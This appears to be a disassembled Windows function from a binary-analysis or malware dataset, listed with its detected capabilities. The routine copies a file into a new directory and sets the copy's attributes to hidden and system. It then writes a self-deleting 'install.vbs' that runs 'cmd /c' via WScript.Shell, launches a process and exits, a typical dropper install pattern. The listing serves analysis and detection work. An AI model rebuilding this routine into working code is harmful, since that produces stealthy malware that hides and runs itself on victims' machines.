Function at 0x9b871
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
sub esp, 0xc8
push ebx
push ebp
push esi
mov ebx, edx
mov byte [esp + 0x13], cl
push edi
push ebx
call fcn.000c9891
mov ebp, 0x102218
pop ecx
test eax, eax
je 0x9b8e2
push 0
mov ecx, ebp
call fcn.00091ee4
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, dword [esp + 0xdc]
lea ecx, [esp + 0x18]
push edi
push 0xf32a8
mov edx, ebp
call fcn.000981c7
pop ecx
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00092ff4
pop ecx
mov esi, 0x1021e8
push eax
mov ecx, esi
call fcn.00091ef3
lea ecx, [esp + 0x48]
call fcn.00091ee9
lea ecx, [esp + 0x18]
jmp 0x9b909
mov edi, dword [esp + 0xdc]
lea ecx, [esp + 0x48]
mov dl, byte [esp + 0x17]
push edi
call fcn.0009c5ed
pop ecx
mov esi, 0x1021e8
push eax
mov ecx, esi
call fcn.00091ef3
lea ecx, [esp + 0x48]
call fcn.00091ee9
mov ecx, esi
call fcn.00091ee4
push eax
mov ebp, 0xffb08
push ebp
call fcn.000c9f5d
pop ecx
pop ecx
test eax, eax
jne 0x9b941
mov ecx, 0x1021d0
call fcn.00091ee4
push eax
push ecx
call fcn.0009b77f
pop ecx
pop ecx
mov al, 1
jmp 0x9bc4e
push 0
mov ecx, esi
call fcn.00091ee4
push eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileW]
call ebp
test eax, eax
jne 0x9b9f5
cmp byte [esp + 0x17], 0x36
je 0x9b9f5
push ebx
call fcn.000c9891
mov dl, 0x36
pop ecx
lea ecx, [esp + 0x30]
push edi
test eax, eax
je 0x9b9b9
push 0xf32a8
push ebx
call fcn.0009c5ed
pop ecx
mov edx, eax
lea ecx, [esp + 0x68]
call fcn.00092ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x7c]
call fcn.00092ff4
pop ecx
push eax
mov ecx, esi
call fcn.00091ef3
lea ecx, [esp + 0x78]
call fcn.00091ee9
lea ecx, [esp + 0x60]
call fcn.00091ee9
jmp 0x9b9c7
call fcn.0009c5ed
pop ecx
push eax
mov ecx, esi
call fcn.00091ef3
lea ecx, [esp + 0x30]
call fcn.00091ee9
push 0
mov ecx, esi
call fcn.00091ee4
push eax
mov edi, 0xffb08
push edi
call ebp
test eax, eax
jne 0x9b9f5
push edi
mov ecx, esi
call fcn.00098093
xor al, al
jmp 0x9bc4e
mov ecx, 0x1021d0
call fcn.00091ee4
push eax
push ecx
call fcn.0009b77f
cmp byte [esp + 0xe8], 1
pop ecx
pop ecx
jne 0x9ba3e
push 7
mov ecx, esi
call fcn.00091ee4
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call edi
push ebx
call fcn.000c9891
pop ecx
test eax, eax
je 0x9ba3e
push 7
mov ecx, 0x102218
call fcn.00091ee4
push eax
call edi
push str.install.vbs
push 0xf3bd0
call fcn.000c9e5f
pop ecx
push eax
lea ecx, [esp + 0x38]
call fcn.0009415e
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00092ff4
pop ecx
lea ecx, [esp + 0x30]
call fcn.00091ee9
push str.WScript.Sleep_1000_n
lea ecx, [esp + 0x1c]
call fcn.0009415e
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x1c]
call fcn.0009808e
cmp byte [esp + 0xe4], 1
mov ebx, 0xf3c74
jne 0x9bb46
push ebx
mov edi, 0xf2e24
lea ecx, [esp + 0xc4]
push edi
push 0xffb08
call fcn.0009415e
push eax
push edi
push 0xf3c78
lea ecx, [esp + 0xbc]
call fcn.0009415e
mov edx, eax
lea ecx, [esp + 0xa0]
call fcn.00092ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x84]
call fcn.00092f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x68]
call fcn.00092ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.0009323d
lea ecx, [esp + 0x30]
call fcn.00091ee9
lea ecx, [esp + 0x60]
call fcn.00091ee9
lea ecx, [esp + 0x78]
call fcn.00091ee9
lea ecx, [esp + 0x90]
call fcn.00091ee9
lea ecx, [esp + 0xa8]
call fcn.00091ee9
lea ecx, [esp + 0xc0]
call fcn.00091ee9
push ebx
push str._____0
lea ecx, [esp + 0x68]
call fcn.0009415e
push eax
push esi
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x40]
call fcn.0009415e
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.000942fd
pop ecx
mov edx, eax
lea ecx, [esp + 0xb0]
call fcn.00092f85
pop ecx
mov edx, eax
lea ecx, [esp + 0xc4]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.0009323d
lea ecx, [esp + 0xc0]
call fcn.00091ee9
lea ecx, [esp + 0xa8]
call fcn.00091ee9
lea ecx, [esp + 0x90]
call fcn.00091ee9
lea ecx, [esp + 0x30]
call fcn.00091ee9
lea ecx, [esp + 0x60]
call fcn.00091ee9
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x1c]
call fcn.0009808e
xor ebx, ebx
lea ecx, [esp + 0x48]
push ebx
call fcn.00091ee4
push eax
lea ecx, [esp + 0x20]
call fcn.0009245c
mov esi, eax
lea ecx, [esp + 0x20]
add esi, esi
call fcn.00091ee4
mov edx, esi
mov ecx, eax
call fcn.000aa17b
pop ecx
pop ecx
test al, al
je 0x9bc3c
push ebx
mov eax, 0xf9654
lea ecx, [esp + 0x4c]
push eax
push eax
call fcn.00091ee4
push eax
push 0xf30ac
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x9bc3c
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x18]
call fcn.00091ee9
lea ecx, [esp + 0x48]
call fcn.00091ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc8
ret